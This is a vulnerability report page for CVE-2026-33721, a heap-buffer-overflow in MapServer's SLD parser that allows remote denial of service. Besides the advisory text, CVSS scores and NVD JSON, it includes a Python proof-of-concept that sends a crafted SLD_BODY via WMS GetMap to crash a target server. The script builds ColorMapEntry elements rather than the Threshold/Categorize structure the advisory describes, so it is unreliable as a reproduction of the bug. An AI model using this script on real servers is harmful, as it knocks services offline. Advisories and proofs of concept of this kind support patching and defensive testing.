Security Vulnerability Report
中文
CVE-2026-33721 CVSS 5.3 MEDIUM

CVE-2026-33721

Published: 2026-03-27 01:16:20
Last Modified: 2026-04-17 18:16:32

Description

MapServer is a system for developing web-based GIS applications. Starting in version 4.2 and prior to version 8.6.1, a heap-buffer-overflow write in MapServer’s SLD (Styled Layer Descriptor) parser lets a remote, unauthenticated attacker crash the MapServer process by sending a crafted SLD with more than 100 Threshold elements inside a ColorMap/Categorize structure (commonly reachable via WMS GetMap with SLD_BODY). Version 8.6.1 patches the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:osgeo:mapserver:*:*:*:*:*:*:*:* - VULNERABLE
MapServer 4.2 至 8.6.1 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target-mapserver/cgi-bin/mapserv" # Construct malicious SLD with > 100 Threshold elements sld_body = """<?xml version="1.0" encoding="UTF-8"?> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> <NamedLayer> <Name>LayerName</Name> <UserStyle> <FeatureTypeStyle> <Rule> <RasterSymbolizer> <ColorMap> <!-- Generate more than 100 thresholds --> """ for i in range(101): sld_body += f' <ColorMapEntry color="#000000" quantity="{i}" />\n' sld_body += """ </ColorMap> </RasterSymbolizer> </Rule> </FeatureTypeStyle> </UserStyle> </NamedLayer> </StyledLayerDescriptor>""" # Send request via WMS GetMap params = { "service": "WMS", "version": "1.1.0", "request": "GetMap", "layers": "LayerName", "styles": "", "srs": "EPSG:4326", "bbox": "-180,-90,180,90", "width": "800", "height": "600", "format": "image/png", "SLD_BODY": sld_body } try: response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") if response.status_code == 500 or not response.content: print("Potential crash detected (Server Error or Empty Response).") except requests.exceptions.RequestException as e: print(f"Connection failed (Likely DoS): {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33721", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:19.670", "lastModified": "2026-04-17T18:16:31.640", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "MapServer is a system for developing web-based GIS applications. Starting in version 4.2 and prior to version 8.6.1, a heap-buffer-overflow write in MapServer’s SLD (Styled Layer Descriptor) parser lets a remote, unauthenticated attacker crash the MapServer process by sending a crafted SLD with more than 100 Threshold elements inside a ColorMap/Categorize structure (commonly reachable via WMS GetMap with SLD_BODY). Version 8.6.1 patches the issue."}, {"lang": "es", "value": "MapServer es un sistema para desarrollar aplicaciones GIS basadas en web. A partir de la versión 4.2 y antes de la versión 8.6.1, una escritura de desbordamiento de búfer de pila en el analizador SLD (Styled Layer Descriptor) de MapServer permite a un atacante remoto no autenticado bloquear el proceso de MapServer al enviar un SLD manipulado con más de 100 elementos Threshold dentro de una estructura ColorMap/Categorize (comúnmente accesible a través de WMS GetMap con SLD_BODY). La versión 8.6.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osgeo:mapserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "8.6.1", "matchCriteriaId": "E1105790-48FD-4133-8056-68A8138CDC66"}]}]}], "references": [{"url": "https://github.com/MapServer/MapServer/releases/tag/rel-8-6-1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/MapServer/MapServer/security/advisories/GHSA-cv4m-mr84-fgjp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00017.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}